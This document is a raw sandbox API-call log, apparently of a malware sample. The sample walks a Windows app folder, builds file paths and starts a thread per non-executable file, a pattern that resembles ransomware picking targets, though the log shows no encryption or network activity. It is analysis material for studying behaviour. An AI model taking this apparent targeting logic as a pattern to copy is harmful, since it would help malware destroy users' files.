	[0078.914] wcscpy (in: _Dest=0x47e9d20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.914] wcscat (in: _Dest=0x47e9d20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.915] wcscat (in: _Dest=0x47e9d20, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e9d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea4
	[0078.915] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2895cc43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb21004, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28bc9f4c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0078.915] wcscmp (_String1="Assets", _String2=".") returned 1
	[0078.915] wcscmp (_String1="Assets", _String2="..") returned 1
	[0078.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddc228
	[0078.916] wcscpy (in: _Dest=0x2ddc228, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.916] wcscat (in: _Dest=0x2ddc228, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.916] wcscat (in: _Dest=0x2ddc228, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0078.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddc228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xea8
	[0078.916] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bc9f4c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28bc9f4c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28bc9f4c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="BuildInfo.xml", cAlternateFileName="")) returned 1
	[0078.916] wcscmp (_String1="BuildInfo.xml", _String2=".") returned 1
	[0078.916] wcscmp (_String1="BuildInfo.xml", _String2="..") returned 1
	[0078.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476f998
	[0078.916] wcscpy (in: _Dest=0x476f998, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.916] wcscat (in: _Dest=0x476f998, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.917] wcscat (in: _Dest=0x476f998, _Source="BuildInfo.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\BuildInfo.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\BuildInfo.xml"
	[0078.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x476f998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeac
	[0078.917] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bc9f4c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28bc9f4c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28bc9f4c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0078.917] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0078.917] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0078.917] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28bc9f4c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28f11322, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28f11322, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x929200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessagingApplication.dll", cAlternateFileName="")) returned 1
	[0078.917] wcscmp (_String1="MessagingApplication.dll", _String2=".") returned 1
	[0078.917] wcscmp (_String1="MessagingApplication.dll", _String2="..") returned 1
	[0078.917] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f11322, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28f11322, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28f11322, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessagingApplication.exe", cAlternateFileName="")) returned 1
	[0078.917] wcscmp (_String1="MessagingApplication.exe", _String2=".") returned 1
	[0078.917] wcscmp (_String1="MessagingApplication.exe", _String2="..") returned 1
	[0078.917] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f11322, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28f83a32, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28f83a32, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcd800, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessagingEntityExtractionProxy.dll", cAlternateFileName="")) returned 1
	[0078.917] wcscmp (_String1="MessagingEntityExtractionProxy.dll", _String2=".") returned 1
	[0078.917] wcscmp (_String1="MessagingEntityExtractionProxy.dll", _String2="..") returned 1
	[0078.917] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f83a32, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28fcfeee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28fcfeee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x255000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessagingNativeBase.dll", cAlternateFileName="")) returned 1
	[0078.918] wcscmp (_String1="MessagingNativeBase.dll", _String2=".") returned 1
	[0078.918] wcscmp (_String1="MessagingNativeBase.dll", _String2="..") returned 1
	[0078.918] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28fcfeee, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x291e5fe7, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x291e5fe7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x478400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessagingNativeCore.dll", cAlternateFileName="")) returned 1
	[0078.918] wcscmp (_String1="MessagingNativeCore.dll", _String2=".") returned 1
	[0078.918] wcscmp (_String1="MessagingNativeCore.dll", _String2="..") returned 1
	[0078.918] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x291e5fe7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2920c240, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2920c240, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessagingNativeStubExternal.dll", cAlternateFileName="")) returned 1
	[0078.918] wcscmp (_String1="MessagingNativeStubExternal.dll", _String2=".") returned 1
	[0078.918] wcscmp (_String1="MessagingNativeStubExternal.dll", _String2="..") returned 1
	[0078.918] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2920c240, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2920c240, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2920c240, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Apps.Messaging.Base.winmd", cAlternateFileName="")) returned 1
	[0078.918] wcscmp (_String1="Microsoft.Apps.Messaging.Base.winmd", _String2=".") returned 1
	[0078.918] wcscmp (_String1="Microsoft.Apps.Messaging.Base.winmd", _String2="..") returned 1
	[0078.918] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x47512e0
	[0078.918] wcscpy (in: _Dest=0x47512e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.918] wcscat (in: _Dest=0x47512e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.918] wcscat (in: _Dest=0x47512e0, _Source="Microsoft.Apps.Messaging.Base.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Base.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Base.winmd"
	[0078.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47512e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb0
	[0078.919] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2920c240, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2920c240, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2920c240, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Apps.Messaging.External.winmd", cAlternateFileName="")) returned 1
	[0078.919] wcscmp (_String1="Microsoft.Apps.Messaging.External.winmd", _String2=".") returned 1
	[0078.919] wcscmp (_String1="Microsoft.Apps.Messaging.External.winmd", _String2="..") returned 1
	[0078.919] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4765e10
	[0078.919] wcscpy (in: _Dest=0x4765e10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.919] wcscat (in: _Dest=0x4765e10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.919] wcscat (in: _Dest=0x4765e10, _Source="Microsoft.Apps.Messaging.External.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.External.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.External.winmd"
	[0078.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4765e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb4
	[0078.919] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2923249a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2923249a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2923249a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Apps.Messaging.Internal.winmd", cAlternateFileName="")) returned 1
	[0078.919] wcscmp (_String1="Microsoft.Apps.Messaging.Internal.winmd", _String2=".") returned 1
	[0078.919] wcscmp (_String1="Microsoft.Apps.Messaging.Internal.winmd", _String2="..") returned 1
	[0078.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4765710
	[0078.920] wcscpy (in: _Dest=0x4765710, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.920] wcscat (in: _Dest=0x4765710, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.920] wcscat (in: _Dest=0x4765710, _Source="Microsoft.Apps.Messaging.Internal.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Internal.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.Messaging.Internal.winmd"
	[0078.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4765710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb8
	[0078.920] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2923249a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x292a4baf, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x292a4baf, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x125e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Graphics.Canvas.dll", cAlternateFileName="")) returned 1
	[0078.920] wcscmp (_String1="Microsoft.Graphics.Canvas.dll", _String2=".") returned 1
	[0078.920] wcscmp (_String1="Microsoft.Graphics.Canvas.dll", _String2="..") returned 1
	[0078.920] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x292a4baf, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x292f1061, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x292f1061, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2b498, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Graphics.Canvas.winmd", cAlternateFileName="")) returned 1
	[0078.920] wcscmp (_String1="Microsoft.Graphics.Canvas.winmd", _String2=".") returned 1
	[0078.920] wcscmp (_String1="Microsoft.Graphics.Canvas.winmd", _String2="..") returned 1
	[0078.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ebac8
	[0078.920] wcscpy (in: _Dest=0x47ebac8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.920] wcscat (in: _Dest=0x47ebac8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.921] wcscat (in: _Dest=0x47ebac8, _Source="Microsoft.Graphics.Canvas.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Graphics.Canvas.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.Graphics.Canvas.winmd"
	[0078.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ebac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xebc
	[0078.921] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x292f1061, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x293d5e87, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x293d5e87, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x201400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People.AutoSuggest.dll", cAlternateFileName="")) returned 1
	[0078.921] wcscmp (_String1="Microsoft.People.AutoSuggest.dll", _String2=".") returned 1
	[0078.921] wcscmp (_String1="Microsoft.People.AutoSuggest.dll", _String2="..") returned 1
	[0078.921] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293d5e87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x293d5e87, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x293d5e87, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People.AutoSuggest.winmd", cAlternateFileName="")) returned 1
	[0078.921] wcscmp (_String1="Microsoft.People.AutoSuggest.winmd", _String2=".") returned 1
	[0078.921] wcscmp (_String1="Microsoft.People.AutoSuggest.winmd", _String2="..") returned 1
	[0078.921] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47eae98
	[0078.921] wcscpy (in: _Dest=0x47eae98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.921] wcscat (in: _Dest=0x47eae98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.921] wcscat (in: _Dest=0x47eae98, _Source="Microsoft.People.AutoSuggest.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.AutoSuggest.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.AutoSuggest.winmd"
	[0078.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eae98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec0
	[0078.922] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293d5e87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x293d5e87, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x293d5e87, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People.Controls.winmd", cAlternateFileName="")) returned 1
	[0078.922] wcscmp (_String1="Microsoft.People.Controls.winmd", _String2=".") returned 1
	[0078.922] wcscmp (_String1="Microsoft.People.Controls.winmd", _String2="..") returned 1
	[0078.922] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ec428
	[0078.922] wcscpy (in: _Dest=0x47ec428, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.922] wcscat (in: _Dest=0x47ec428, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.922] wcscat (in: _Dest=0x47ec428, _Source="Microsoft.People.Controls.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd"
	[0078.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ec428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec4
	[0078.923] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x293d5e87, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29494a4f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29494a4f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c9800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People.Relevance.dll", cAlternateFileName="")) returned 1
	[0078.923] wcscmp (_String1="Microsoft.People.Relevance.dll", _String2=".") returned 1
	[0078.923] wcscmp (_String1="Microsoft.People.Relevance.dll", _String2="..") returned 1
	[0078.923] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29494a4f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x294baca8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x294baca8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People.Relevance.winmd", cAlternateFileName="")) returned 1
	[0078.923] wcscmp (_String1="Microsoft.People.Relevance.winmd", _String2=".") returned 1
	[0078.923] wcscmp (_String1="Microsoft.People.Relevance.winmd", _String2="..") returned 1
	[0078.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47ebd98
	[0078.923] wcscpy (in: _Dest=0x47ebd98, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.923] wcscat (in: _Dest=0x47ebd98, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
